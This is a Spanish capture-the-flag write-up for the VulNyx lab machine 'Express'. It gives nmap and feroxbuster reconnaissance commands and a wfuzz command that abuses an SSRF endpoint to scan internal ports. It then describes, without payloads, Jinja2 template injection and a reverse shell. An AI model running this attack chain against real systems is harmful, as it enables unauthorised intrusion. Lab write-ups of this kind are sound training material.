Máquina Express
Reconocimiento de la Ip de la máquina víctima
Puertos abiertos
sudo nmap -sS --disable-arp-ping --min-rate 6000 -p- --open -vvv -Pn 192.168.5.179
Servicios y versiones
sudo nmap -sVC --min-rate 6000 -p22,80 -vvv -Pn 192.168.5.179
como es un CTF de vulnyx, le añadí el dominio express.nyx al /etc/hosts
Fuzzing Web
feroxbuster --url http://express.nyx/ -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
entro en la web para verificar:
y son endpoints, los verifico con burpsuite
la que me llamó la atención fue: /api/users?key=${secretKey}, lo que hice fue cambiar al método POST y obtuve usuarios:
la otra que me pareció interesante fue: /api/admin/availability, tengo que mandarle un cuerpo modificando el Content-Type: application/json
entonces comprobé que se trata de un posible SSRF:
levanté un servidor web por el puerto 8081
Explotación
Lance el siguiente comando para verificar los puertos internos que corren en el host víctima:
primero creo un archivo que tenga numeros del 1 al 65535 con el comando:
seq 65535 > ports.txt
luego ejecuto el comando:
wfuzz -u "http://express.nyx/api/admin/availability" -d '{ "id": 18, "roles": [ "admin" ], "token": "4493-3179-0912-0597", "username": "JESSS", "url": "http://127.0.0.1:FUZZ" }' -H 'Content-Type: application/json' -X POST -w ports.txt --hw 25
entonces verificando la respuesta:
STTI
confirmé que se trata STTI ahora verifico si es jinja2
se trata de jinja2
Verifico el tipo de usuario que soy
Escalar privilegios
me envié una reverse shell




















